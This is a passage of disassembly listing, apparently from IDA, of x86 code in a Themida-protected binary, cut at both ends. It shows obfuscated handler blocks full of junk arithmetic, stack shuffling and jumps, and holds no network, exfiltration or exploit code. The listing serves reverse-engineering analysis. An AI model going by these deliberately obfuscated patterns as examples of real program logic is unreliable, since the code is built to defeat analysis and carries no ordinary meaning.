3EE21780h pop ecx push 330Eh mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_5625B3 ; --------------------------------------------------------------------------- loc_560CDD: ; CODE XREF: Themida_:00554B65j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push 24FCh mov [esp], esi mov esi, 4 jmp loc_552D55 ; --------------------------------------------------------------------------- loc_560CF8: ; CODE XREF: Themida_:00559C84j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, ecx jmp loc_555D26 ; --------------------------------------------------------------------------- loc_560D21: ; CODE XREF: Themida_:0055CEB5j add esp, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, esp push ebx push edx push ebx mov ebx, 4 mov edx, ebx pop ebx mov ebx, edx pop edx add esi, 33A125B4h sub esi, 597058FDh add esi, ebx add esi, 597058FDh sub esi, 33A125B4h push dword ptr [esp] pop ebx add esp, 4 jmp loc_55C2E2 ; --------------------------------------------------------------------------- loc_560D6A: ; CODE XREF: Themida_:00554670j shr edx, 1 cmp eax, edx jz loc_56437B sub esp, 4 jmp loc_5658DC ; --------------------------------------------------------------------------- loc_560D7C: ; CODE XREF: Themida_:0055A83Dj add esp, 4 add ecx, edx pop edx sub esp, 4 mov [esp], ecx jmp loc_55AEC8 ; --------------------------------------------------------------------------- loc_560D90: ; CODE XREF: Themida_:00561E0Fj pop ecx push ebx mov ebx, esp jmp loc_56491D ; --------------------------------------------------------------------------- loc_560D99: ; CODE XREF: Themida_:00560530j add eax, 4527EA55h add edx, eax jmp loc_55CEDE ; --------------------------------------------------------------------------- loc_560DA5: ; CODE XREF: Themida_:005523A1j mov esi, 7C302AA7h jmp loc_5568BF ; --------------------------------------------------------------------------- loc_560DAF: ; CODE XREF: Themida_:0055A94Bj pop edi xor eax, [esp] xor [esp], eax jmp loc_562BFC ; --------------------------------------------------------------------------- loc_560DBB: ; CODE XREF: Themida_:00558794j dec ebx jmp loc_55EE76 ; --------------------------------------------------------------------------- loc_560DC1: ; CODE XREF: Themida_:005559B8j sub esp, 4 mov [esp], ebp push 28F3h mov [esp], edi push 668557E0h push dword ptr [esp] mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55B31A ; --------------------------------------------------------------------------- loc_560DF1: ; CODE XREF: Themida_:005584CCj push dx mov dh, 2Bh jmp loc_5622E1 ; --------------------------------------------------------------------------- loc_560DFA: ; CODE XREF: Themida_:00555FECj add edx, 0DCF05587h mov esi, edx mov edx, [esp] add esp, 4 sub ecx, 25CE58D4h add ecx, esi add ecx, 25CE58D4h pop esi push edx push edi mov edi, 4 push 31A1h mov [esp], edi xor dword ptr [esp], 14B33A7Bh pop edx xor edx, 14B33A7Bh jmp loc_5642A0 ; --------------------------------------------------------------------------- loc_560E39: ; CODE XREF: Themida_:00564128j add ebp, 0B1FB0BA2h and ebp, 2BE97C06h push 58D6h mov [esp], edi sub esp, 4 mov [esp], eax mov eax, 43A86EADh mov edi, 354B20A4h xor edi, eax pop eax xor edi, 34743FB7h and ebp, edi jmp loc_562186 ; --------------------------------------------------------------------------- loc_560E70: ; CODE XREF: Themida_:00562FE8j mov ebx, 2C227FE4h add ebx, 0E7049A12h push ebx push ecx pop ebx pop ecx jmp loc_55B024 ; --------------------------------------------------------------------------- loc_560E84: ; CODE XREF: Themida_:00556AC6j add ebx, 1FF30B53h jmp loc_561206 ; --------------------------------------------------------------------------- loc_560E8F: ; CODE XREF: Themida_:00561458j add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push edi jmp loc_55EC15 ; --------------------------------------------------------------------------- loc_560EAA: ; CODE XREF: Themida_:00550B90j push edi push esp pop edi jmp loc_564540 ; --------------------------------------------------------------------------- loc_560EB2: ; CODE XREF: Themida_:0055BDFCj push ecx mov ecx, 0A21AD6h add eax, ecx pop ecx sub eax, 2EC333A1h add eax, edx push edi mov edi, 34F305A3h and edi, 39040E64h add edi, 0E2372217h jmp loc_557010 ; --------------------------------------------------------------------------- loc_560ED9: ; CODE XREF: Themida_:0055C532j add ecx, 4 add ecx, 4 jmp loc_558DF4 ; --------------------------------------------------------------------------- loc_560EE7: ; CODE XREF: Themida_:00563575j and ecx, 4AB23CAFh push esi mov esi, 245B0875h add ecx, esi pop esi push ecx dec dword ptr [esp] not dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 push edi mov edi, 4 sub edx, edi jmp loc_55F80B ; --------------------------------------------------------------------------- loc_560F14: ; CODE XREF: Themida_:00560BB9j mov edx, esp jmp loc_55A373 ; --------------------------------------------------------------------------- loc_560F1B: ; CODE XREF: Themida_:0055F67Fj mov edi, [esp] push 62E3h mov [esp], ebp sub esp, 4 mov [esp], esp push eax mov eax, 4 add dword ptr [esp+4], 2B964049h push ecx jmp loc_5552B7 ; --------------------------------------------------------------------------- loc_560F43: ; CODE XREF: Themida_:0055DC31j mov [esp], cx movzx cx, al push cx pushf jmp loc_550420 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_561B59 sub esi, 8881EA3h add esi, 381A1A6Ah add esi, 5F724417h add esi, 4D73CC0h push edx mov edx, 58BB15ACh add esi, edx pop edx add esi, eax jmp loc_55A555 ; --------------------------------------------------------------------------- loc_560F86: ; CODE XREF: Themida_:00559946j push small 1245h mov [esp], ax jmp loc_550420 ; --------------------------------------------------------------------------- loc_560F93: ; CODE XREF: Themida_:005577B0j mov edx, 9C25A5BFh jmp loc_55A838 ; --------------------------------------------------------------------------- loc_560F9D: ; CODE XREF: Themida_:0055ECA8j dec ecx jmp loc_563708 ; --------------------------------------------------------------------------- loc_560FA3: ; CODE XREF: Themida_:00553C7Ej push 108Ch mov [esp], ebx push 4 pop ebx add ebp, 0DE520D4h add ebp, ebx jmp loc_55C2B3 ; --------------------------------------------------------------------------- loc_560FBE: ; CODE XREF: Themida_:00555E82j mov [esp], esi jmp loc_55DB1D ; --------------------------------------------------------------------------- loc_560FC6: ; CODE XREF: Themida_:00562D68j sub esi, 3E222AF5h xor ebx, esi pop esi xor edx, ebx pop ebx sub eax, edx mov edx, [esp] add esp, 4 add eax, 73AA1FC6h sub eax, edx sub eax, 73AA1FC6h jmp loc_563F6A ; --------------------------------------------------------------------------- loc_560FEB: ; CODE XREF: Themida_:00557CE7j add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi mov esi, 46B3510h mov ebp, esi pop esi jmp loc_55C294 ; --------------------------------------------------------------------------- loc_561009: ; CODE XREF: Themida_:005595B2j pop edx sub esp, 4 mov [esp], ebp jmp loc_559BA1 ; --------------------------------------------------------------------------- loc_561015: ; CODE XREF: Themida_:00552EB2j and ecx, 318A49CFh shr ecx, 2 jmp loc_559902 ; --------------------------------------------------------------------------- loc_561023: ; CODE XREF: Themida_:0055FCB0j push esp mov ebp, [esp] add esp, 4 add ebp, 4 push 55A4h mov [esp], edx mov edx, 4 sub ebp, 79A333DEh jmp loc_560791 ; --------------------------------------------------------------------------- loc_56104B: ; CODE XREF: Themida_:00560B8Cj add esp, 4 push edx mov dl, 66h sub dl, 0C0h or bh, dl mov edx, [esp] add esp, 4 jmp loc_5550DB ; --------------------------------------------------------------------------- loc_561067: ; CODE XREF: Themida_:00562AB3j mov edi, 0FFFFFFFFh add ebp, edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_560284 ; --------------------------------------------------------------------------- loc_56107C: ; CODE XREF: Themida_:0055E3F2j mov edi, 674D5DEAh shr edi, 2 sub edi, 19D35776h sub esi, edi jmp loc_565C0D ; --------------------------------------------------------------------------- loc_561091: ; CODE XREF: Themida_:0055E5BCj or eax, 32952516h shr eax, 5 jmp loc_55D7E8 ; --------------------------------------------------------------------------- loc_56109E: ; CODE XREF: Themida_:0055A292j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_5600CA ; --------------------------------------------------------------------------- loc_5610B3: ; CODE XREF: Themida_:0055D59Aj sub esi, 4 jmp loc_5642D0 ; --------------------------------------------------------------------------- loc_5610BE: ; CODE XREF: Themida_:0055681Aj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sub dword ptr [esp+4], 36541276h add [esp+4], ebp jmp loc_56237C ; --------------------------------------------------------------------------- loc_5610D9: ; CODE XREF: Themida_:0055C806j push 7894h mov [esp], ecx mov ecx, 4 mov ebx, ecx jmp loc_562B2E ; --------------------------------------------------------------------------- loc_5610ED: ; CODE XREF: Themida_:00552389j and eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jnz loc_55469E sub esp, 4 mov [esp], eax push esi push ebx jmp loc_5532BA ; --------------------------------------------------------------------------- loc_56110E: ; CODE XREF: Themida_:0055D0E2j mov ebp, [esp] jmp loc_561D61 ; --------------------------------------------------------------------------- loc_561116: ; CODE XREF: Themida_:005533B9j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_55E07C ; --------------------------------------------------------------------------- loc_56112A: ; CODE XREF: Themida_:00557058j push esi mov esi, 7C040EDFh sub esi, 7C040EDBh add ebp, esi jmp loc_55D29D ; --------------------------------------------------------------------------- loc_56113D: ; CODE XREF: Themida_:00553219j pop edi xchg eax, [esp] pop esp and edx, 6A292552h neg edx sub edx, 9FFEFBAAh jmp loc_5579CE ; --------------------------------------------------------------------------- loc_561155: ; CODE XREF: Themida_:00563F99j mov [esp], ebx push esp pop ebx push 3BF3h mov [esp], edi push edx jmp loc_55349F ; --------------------------------------------------------------------------- loc_561168: ; CODE XREF: Themida_:0055211Bj push edi mov edi, 2E5F2B71h or edx, edi jmp loc_55A446 ; --------------------------------------------------------------------------- loc_561175: ; CODE XREF: Themida_:005561FDj mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov edx, [esp] add esp, 4 push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55B200 ; --------------------------------------------------------------------------- loc_5611A2: ; CODE XREF: Themida_:00557E81j pop ecx xor edi, eax xor eax, edi xor edi, eax xor [esp], edi xor edi, [esp] xor [esp], edi push dword ptr [esp] pop eax push edi push esp push dword ptr [esp] jmp loc_5595EA ; --------------------------------------------------------------------------- loc_5611C0: ; CODE XREF: Themida_:00560421j push ebx mov ebx, 7CBE1E62h add dword ptr [esp+4], 36502E1h sub [esp+4], ebx sub dword ptr [esp+4], 36502E1h jmp loc_557212 ; --------------------------------------------------------------------------- loc_5611DF: ; CODE XREF: Themida_:00559187j add al, bl push ecx mov ch, 0CEh or ch, 0D7h jmp loc_55C345 ; --------------------------------------------------------------------------- loc_5611EC: ; CODE XREF: Themida_:0055E657j sub bl, ah pop eax movzx eax, al pop dword ptr [edi+eax*4] jmp loc_550420 ; --------------------------------------------------------------------------- loc_5611FA: ; CODE XREF: Themida_:0055AFD2j mov edx, 32D0478Bh sub ecx, edx jmp loc_5519C0 ; --------------------------------------------------------------------------- loc_561206: ; CODE XREF: Themida_:00560E8Aj inc ebx jmp loc_5571A1 ; --------------------------------------------------------------------------- loc_56120C: ; CODE XREF: Themida_:005632AFj push 3DA5h mov [esp], ecx mov ecx, esp push 307Bh mov [esp], edx jmp loc_55FFA3 ; --------------------------------------------------------------------------- loc_561223: ; CODE XREF: Themida_:00553112j inc dword ptr [esp] pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_56122C: ; CODE XREF: Themida_:0055A473j sub bl, 3Bh sub bl, ch add bl, 3Bh pop cx add bl, 68h sub bl, al sub bl, 68h push ax jmp loc_564EC7 ; --------------------------------------------------------------------------- loc_561245: ; CODE XREF: Themida_:00563C9Dj mov esi, 613C0211h push esi jmp loc_562FED ; --------------------------------------------------------------------------- loc_561250: ; CODE XREF: Themida_:0055AD45j xchg esi, edx or edx, 50AE241Fh push eax mov eax, 1 sub edx, eax pop eax xor edx, 8611AD8Dh jmp loc_552D76 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 701Eh jmp loc_563A81 ; --------------------------------------------------------------------------- loc_561279: ; CODE XREF: Themida_:00551685j shl ebx, 4 or ebx, 1C8C07A9h add ebx, 3CC70BB9h xor esi, ebx jmp loc_55532C ; --------------------------------------------------------------------------- loc_56128F: ; CODE XREF: Themida_:0055B576j mov eax, ecx pop ecx shr eax, 2 dec eax add eax, 0EBA73C24h sub esi, 70FD0CBFh sub esp, 4 mov [esp], edx mov edx, 2D48297Bh add esi, edx pop edx add esi, eax push 4636h mov [esp], ebx mov ebx, 0CA60595h xor ebx, 1989082Ch jmp loc_55D2DD ; --------------------------------------------------------------------------- loc_5612CC: ; CODE XREF: Themida_:0055CB42j push esi mov esi, esp jmp loc_55664C ; --------------------------------------------------------------------------- loc_5612D4: ; CODE XREF: Themida_:00562EDCj sub ecx, 70791973h add ecx, esi add ecx, 70791973h pop esi add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_560426 ; --------------------------------------------------------------------------- loc_5612F4: ; CODE XREF: Themida_:0055F1CFj sub ebp, 140A96A2h sub edi, ebp pop ebp mov eax, [esp] add esp, 4 sub ecx, edi mov edi, [esp] add esp, 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebx mov ebx, esp jmp loc_55F137 ; --------------------------------------------------------------------------- loc_561325: ; CODE XREF: Themida_:00557E45j xor ecx, edi pop edi or edx, ecx pop ecx jmp loc_558267 ; --------------------------------------------------------------------------- loc_561330: ; CODE XREF: Themida_:00558505j add ebp, eax pop eax add ebp, edx sub ebp, 91133F5h push dword ptr [esp] push dword ptr [esp] jmp loc_551D8C ; --------------------------------------------------------------------------- loc_561346: ; CODE XREF: Themida_:00562394j mov bh, ch pop ecx mov eax, [esp] add esp, 4 push dx jmp loc_557942 ; --------------------------------------------------------------------------- loc_561356: ; CODE XREF: Themida_:005653F8j pop edx push ebx mov ebx, 52B32469h and ebx, 57DA3CEBh sub ebx, 20495731h sub ebx, 6D6D7E7Dh jmp loc_561DCA ; --------------------------------------------------------------------------- loc_561374: ; CODE XREF: Themida_:0055E844j mov ebx, 66786B6Dh xor [esp+4], ebx mov ebx, [esp] add esp, 4 mov eax, [esp] add esp, 4 xor eax, 66786B6Dh mov edx, [esp] add esp, 4 push edx sub esp, 4 jmp loc_5531C1 ; --------------------------------------------------------------------------- loc_5613A3: ; CODE XREF: Themida_:00555604j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push 0E62h mov [esp], ebx sub esp, 4 mov [esp], ecx jmp loc_56159B ; --------------------------------------------------------------------------- loc_5613C5: ; CODE XREF: Themida_:0055E83Ej sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov eax, [esp] jmp loc_55DA06 ; --------------------------------------------------------------------------- loc_5613E7: ; CODE XREF: Themida_:00562060j push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] jmp loc_5581DB ; --------------------------------------------------------------------------- loc_5613FA: ; CODE XREF: Themida_:005616DEj mov [esp], esp add dword ptr [esp], 4 jmp loc_551C51 ; --------------------------------------------------------------------------- loc_561409: ; CODE XREF: Themida_:0055C59Cj pop esp mov [esp], ecx mov ecx, esp push edi push 63B35B8Eh pop edi push esi push edx push 4E91755Bh pop edx add edx, 0F2FCD075h mov esi, edx pop edx sub edi, esi pop esi or edi, 157E6A25h jmp loc_5522A2 ; --------------------------------------------------------------------------- loc_561435: ; CODE XREF: Themida_:00558CDEj sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ebx mov ebx, 4 add eax, ebx mov ebx, [esp] jmp loc_560E8F ; --------------------------------------------------------------------------- loc_56145D: ; CODE XREF: Themida_:0056049Bj pop ebp push 44B8h mov [esp], ebx push eax mov eax, 395A11D8h push eax push 54C7617Bh pop eax mov ebx, 0D07E87CEh jmp loc_55FBDD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55FD34 ; --------------------------------------------------------------------------- loc_561486: ; CODE XREF: Themida_:0056180Dj add ebx, 4 jmp loc_554956 ; --------------------------------------------------------------------------- loc_561491: ; CODE XREF: Themida_:00556272j mov edx, ebp jmp loc_55BECF ; --------------------------------------------------------------------------- loc_561498: ; CODE XREF: Themida_:0055246Dj push esi mov esi, 775330E0h not esi shl esi, 3 jmp loc_5643EE ; --------------------------------------------------------------------------- loc_5614A8: ; CODE XREF: Themida_:0055A5B0j pop edx shr ch, 6 dec ch sub ch, 1 push ebp push esp pop ebp add ebp, 4 push ebx mov ebx, 62521CD2h jmp loc_55218D ; --------------------------------------------------------------------------- loc_5614C5: ; CODE XREF: Themida_:00555375j shr ebx, 3 jmp loc_556975 ; --------------------------------------------------------------------------- loc_5614CD: ; CODE XREF: Themida_:005542AFj add ecx, 4DC67283h jmp loc_554B2E ; --------------------------------------------------------------------------- loc_5614D8: ; CODE XREF: Themida_:0055A7F2j xor [esp], edx jmp loc_55A478 ; --------------------------------------------------------------------------- loc_5614E0: ; CODE XREF: Themida_:0055A6E3j xchg ecx, [esp] pop esp mov [esp], ecx sub esp, 4 push esp pop dword ptr [esp] sub esp, 4 mov [esp], ecx push esi mov esi, 53665A5Ch mov ecx, 53665A58h xor ecx, esi mov esi, [esp] add esp, 4 sub dword ptr [esp+4], 42F17E49h add [esp+4], ecx add dword ptr [esp+4], 42F17E49h jmp loc_55DAD4 ; --------------------------------------------------------------------------- loc_561526: ; CODE XREF: Themida_:005617E1j xor ebx, [esp] mov esp, [esp] movzx cx, al push 2201h mov [esp], ecx push 73C7h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx add ecx, 4 sub ecx, 2 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx push 9E6h mov [esp], edx mov edx, esp add edx, 4 push ecx push ebx push ecx mov ecx, 733524Eh mov ebx, ecx mov ecx, [esp] add esp, 4 mov ecx, 0F8CCADB6h add ecx, 19317CD4h sub ecx, 1E405A77h add ecx, ebx jmp loc_564D9A ; --------------------------------------------------------------------------- loc_56159B: ; CODE XREF: Themida_:005613C0j push ebx mov ebx, 192089h mov ecx, 3445FE99h sub esp, 4 mov [esp], esi push ebp mov ebp, 6E5D4798h mov esi, 8986673Dh jmp loc_55714F ; --------------------------------------------------------------------------- loc_5615BF: ; CODE XREF: Themida_:0056367Fj sub esi, 233D7FF2h jmp loc_561F3C ; --------------------------------------------------------------------------- loc_5615CA: ; CODE XREF: Themida_:0055FFC8j add edi, 2ADF116Dh pop ebx mov edx, edi jmp loc_55AEAA ; --------------------------------------------------------------------------- loc_5615D8: ; CODE XREF: Themida_:005618A0j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_562A36 ; --------------------------------------------------------------------------- loc_5615EB: ; CODE XREF: Themida_:00554887j pop ebx jmp loc_5504C8 ; --------------------------------------------------------------------------- loc_5615F1: ; CODE XREF: Themida_:00559364j shr ebp, 4 shr ebp, 8 add ebp, 6FAA6C21h xor esi, ebp pop ebp add eax, 46AC7A57h jmp loc_56572E ; --------------------------------------------------------------------------- loc_56160A: ; CODE XREF: Themida_:00553AE3j add ecx, 4 xchg ecx, [esp] pop esp sub al, 0D0h sub al, bh jmp loc_560607 ; --------------------------------------------------------------------------- loc_56161D: ; CODE XREF: Themida_:0055CD34j sub ch, 59h xor ch, 3Fh jmp loc_560781 ; --------------------------------------------------------------------------- loc_561628: ; CODE XREF: Themida_:0055DF73j add eax, edx mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg eax, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_56164C: ; CODE XREF: Themida_:005650E2j mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp pop dword ptr [esp] not ecx xor [esp], ecx xor ecx, [esp] xor [esp], ecx mov eax, [esp] push 60A7h mov [esp], ebx mov ebx, esp push eax push edi mov edi, 54153759h mov eax, 5415375Dh add eax, 2B2056CDh sub eax, edi sub eax, 2B2056CDh mov edi, [esp] add esp, 4 add ebx, 0D371B17h jmp loc_5593AA ; --------------------------------------------------------------------------- loc_5616A5: ; CODE XREF: Themida_:00557182j add esi, ebp pop ebp push esi add dword ptr [esp], 2330947h pop eax sub eax, 2330947h pop esi mov edx, 6FEA557Bh add edx, 69203044h add edx, 18A83FF1h jmp loc_55A8B8 ; --------------------------------------------------------------------------- loc_5616CD: ; CODE XREF: Themida_:00559651j push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], esi sub esp, 4 jmp loc_5613FA ; --------------------------------------------------------------------------- loc_5616E3: ; CODE XREF: Themida_:00565682j mov [esp], ecx jmp loc_5554B8 ; --------------------------------------------------------------------------- loc_5616EB: ; CODE XREF: Themida_:00562FC7j mov [esp], edx mov eax, [esp] push eax mov eax, esp jmp loc_561C9B ; --------------------------------------------------------------------------- loc_5616F9: ; CODE XREF: Themida_:00556945j pop ecx sub ecx, 0FDBA11FFh jmp loc_556C54 ; --------------------------------------------------------------------------- loc_561705: ; CODE XREF: Themida_:00560BC3j pop edx push edx mov edx, esp add edx, 4 push esi jmp loc_55110E ; --------------------------------------------------------------------------- loc_561715: ; CODE XREF: Themida_:0055F78Dj sub eax, edx jmp loc_55F770 ; --------------------------------------------------------------------------- loc_56171C: ; CODE XREF: Themida_:00557310j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_55401F ; --------------------------------------------------------------------------- loc_561736: ; CODE XREF: Themida_:005513ECj push ebx jmp loc_550569 ; --------------------------------------------------------------------------- loc_56173C: ; CODE XREF: Themida_:0055C8ADj add dword ptr [esp+4], 1C604127h mov edi, [esp] add esp, 4 mov eax, [esp] jmp loc_55C000 ; --------------------------------------------------------------------------- loc_561755: ; CODE XREF: Themida_:00555653j add esp, 4 not ecx jmp loc_554F25 ; --------------------------------------------------------------------------- loc_561762: ; CODE XREF: Themida_:00565BFFj inc edx inc edx neg edx xor edx, 0DB07B13h jmp loc_55F3A3 ; --------------------------------------------------------------------------- loc_561771: ; CODE XREF: Themida_:0055A428j mov ecx, [esp] add esp, 4 push eax push ecx mov cl, dl mov al, cl pop ecx push ebx mov bh, al mov cl, bh jmp loc_5505E7 ; --------------------------------------------------------------------------- loc_561788: ; CODE XREF: Themida_:005518C3j mov edx, esp add edx, 4 push edi push eax jmp loc_55E135 ; --------------------------------------------------------------------------- loc_561797: ; CODE XREF: Themida_:00565692j add esp, 4 add ecx, 2 xor ecx, [esp] xor [esp], ecx jmp loc_553306 ; --------------------------------------------------------------------------- loc_5617AE: ; CODE XREF: Themida_:00550E4Dj push 2A79h jmp loc_55AEDA ; --------------------------------------------------------------------------- loc_5617B8: ; CODE XREF: Themida_:0055CCA5j mov dh, 7 sub al, dh pop dx push ebx mov bh, al not bh mov al, bh mov ebx, [esp] add esp, 4 sub al, 28h sub bl, 84h sub bl, 95h jmp loc_5658A6 ; --------------------------------------------------------------------------- loc_5617DB: ; CODE XREF: Themida_:00559012j xor ebx, [esp] xor [esp], ebx jmp loc_561526 ; --------------------------------------------------------------------------- loc_5617E6: ; CODE XREF: Themida_:0055E396j push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_556670 ; --------------------------------------------------------------------------- loc_561800: ; CODE XREF: Themida_:0055E2EBj or edi, 712A187Dh jmp loc_558146 ; --------------------------------------------------------------------------- loc_56180B: ; CODE XREF: Themida_:00564789j mov ebx, esp jmp loc_561486 ; --------------------------------------------------------------------------- loc_561812: ; CODE XREF: Themida_:00562D16j xchg ebx, [esp] pop esp mov [esp], ecx push ebp push 55B66F9Fh pop ebp xor ebp, 621750EFh neg ebp jmp loc_55DB9F ; --------------------------------------------------------------------------- loc_56182D: ; CODE XREF: Themida_:005528CAj pop esp shl ebp, 4 shr ebp, 6 or ebp, 19F10FCCh push 5E6Dh mov [esp], edx mov edx, 6CED6FF8h and ebp, edx pop edx jmp loc_556653 ; --------------------------------------------------------------------------- loc_56184F: ; CODE XREF: Themida_:005526CDj pop ebp sub ebx, 4E7E18C0h jmp loc_5573B5 ; --------------------------------------------------------------------------- loc_56185B: ; CODE XREF: Themida_:0055CD2Cj add bl, 0F5h push eax mov ah, 0FDh dec ah xor ah, 0DFh add bl, ah mov eax, [esp] add esp, 4 add bl, al push ecx push eax jmp loc_552EA0 ; --------------------------------------------------------------------------- loc_561877: ; CODE XREF: Themida_:0055C516j pop ecx add eax, ebp sub eax, 59991B92h mov ebp, [esp] add esp, 4 push ebp mov ebp, 6BDE5BBBh sub eax, ebp pop ebp jmp loc_55ECAD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_564032 ; --------------------------------------------------------------------------- loc_56189F: ; CODE XREF: Themida_:005514E7j push ecx jmp loc_5615D8 ; --------------------------------------------------------------------------- loc_5618A5: ; CODE XREF: Themida_:0055E9BFj mov esi, 45E535F6h jmp loc_5634E0 ; --------------------------------------------------------------------------- loc_5618AF: ; CODE XREF: Themida_:0055A78Bj pop esp jmp loc_559714 ; --------------------------------------------------------------------------- loc_5618B5: ; CODE XREF: Themida_:005548A8j push ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 sub ecx, 906FF85Ah add ebx, 68450ACEh push esi mov esi, 39491F90h jmp loc_55AFD7 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_565899 ; --------------------------------------------------------------------------- loc_5618DF: ; CODE XREF: Themida_:0055750Cj push ebx jmp loc_560ADF ; --------------------------------------------------------------------------- loc_5618E5: ; CODE XREF: Themida_:005567D1j sub ecx, esi pop esi add ecx, ebx add ecx, 1A5847B2h jmp loc_5570A1 ; --------------------------------------------------------------------------- loc_5618F5: ; CODE XREF: Themida_:00560AA8j pop ax xor cl, 0EAh sub al, 0D7h sub al, cl add al, 0D7h jmp loc_5508D1 ; --------------------------------------------------------------------------- loc_561905: ; CODE XREF: Themida_:00554A36j inc edi shr edi, 7 neg edi add edi, 531Fh add edx, edi jmp loc_5547DB ; --------------------------------------------------------------------------- loc_561918: ; CODE XREF: Themida_:00555752j push ebx jmp loc_5547CF ; --------------------------------------------------------------------------- loc_56191E: ; CODE XREF: Themida_:0055CA91j pop ebp jmp loc_551BB7 ; --------------------------------------------------------------------------- loc_561924: ; CODE XREF: Themida_:0055B315j add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] jmp loc_5577B5 ; --------------------------------------------------------------------------- loc_56193E: ; CODE XREF: Themida_:00563593j pop edx jmp loc_550420 ; --------------------------------------------------------------------------- loc_561944: ; CODE XREF: Themida_:00565828j add esp, 4 push 2D45h jmp loc_556591 ; --------------------------------------------------------------------------- loc_561951: ; CODE XREF: Themida_:00558CF1j mov esp, [esp] jmp loc_556B3A ; --------------------------------------------------------------------------- loc_561959: ; CODE XREF: Themida_:00552C0Fj shr ebp, 4 add ebp, 340124E4h inc ebp push eax mov eax, 341AF206h xor ebp, eax pop eax add esi, ebp pop ebp xchg esi, [esp] pop esp sub edx, 132E5E69h add edx, edi add edx, 132E5E69h push dword ptr [edx] jmp loc_55E843 ; --------------------------------------------------------------------------- loc_561988: ; CODE XREF: Themida_:0055979Fj and esi, 66C2468Eh and esi, 5FF518CDh shl esi, 5 xor esi, 42763B69h push ecx mov ecx, 77750B7Bh push 0 sub [esp], ecx pop ecx jmp loc_55340D ; --------------------------------------------------------------------------- loc_5619B1: ; CODE XREF: Themida_:0055743Bj xchg ebp, [esp] pop esp push 2D52h mov [esp], edx mov edx, esp jmp loc_562CB9 ; --------------------------------------------------------------------------- loc_5619C4: ; CODE XREF: Themida_:0055EA80j and ecx, 37C84ED4h sub ecx, 6084240h add edi, ecx jmp loc_551809 ; --------------------------------------------------------------------------- loc_5619D7: ; CODE XREF: Themida_:005583FFj mov ebx, 4 add ebp, ebx pop ebx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5594C8 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp jmp loc_559067 ; --------------------------------------------------------------------------- loc_5619FD: ; CODE XREF: Themida_:0055999Fj pop ebp sub eax, 1F9867EDh add eax, ebx add eax, 1F9867EDh pop ebx xchg eax, [esp] pop esp mov dx, [esp] push eax mov eax, esp sub esp, 4 jmp loc_551273 ; --------------------------------------------------------------------------- loc_561A1E: ; CODE XREF: Themida_:00564177j jz loc_55266F push dword ptr [edi+1Ch] jmp loc_564459 ; --------------------------------------------------------------------------- loc_561A2C: ; CODE XREF: Themida_:00552967j push ebx push ebp mov ebp, 0AD94D29h neg ebp push eax mov eax, 77CE6214h add ebp, eax pop eax mov ebx, ebp pop ebp or ebx, 486223FCh jmp loc_55EA19 ; --------------------------------------------------------------------------- loc_561A4C: ; CODE XREF: Themida_:00553FA8j mov eax, ebp pop ebp jmp loc_557D6C ; --------------------------------------------------------------------------- loc_561A54: ; CODE XREF: Themida_:0055F7D3j push 92Fh mov [esp], edx push esi jmp loc_559369 ; --------------------------------------------------------------------------- loc_561A62: ; CODE XREF: Themida_:0055DD30j xchg ebp, edi xor edi, 0F73A0764h sub ebx, edi pop edi add ebp, ebx pop ebx jmp loc_562FFB ; --------------------------------------------------------------------------- loc_561A75: ; CODE XREF: Themida_:0055A66Fj mov eax, esp jmp loc_5510EF ; --------------------------------------------------------------------------- loc_561A7C: ; CODE XREF: Themida_:0055C75Dj sub ebx, eax jmp loc_551EEF ; --------------------------------------------------------------------------- loc_561A83: ; CODE XREF: Themida_:0055CB0Bj sub eax, 221762AAh push ecx push 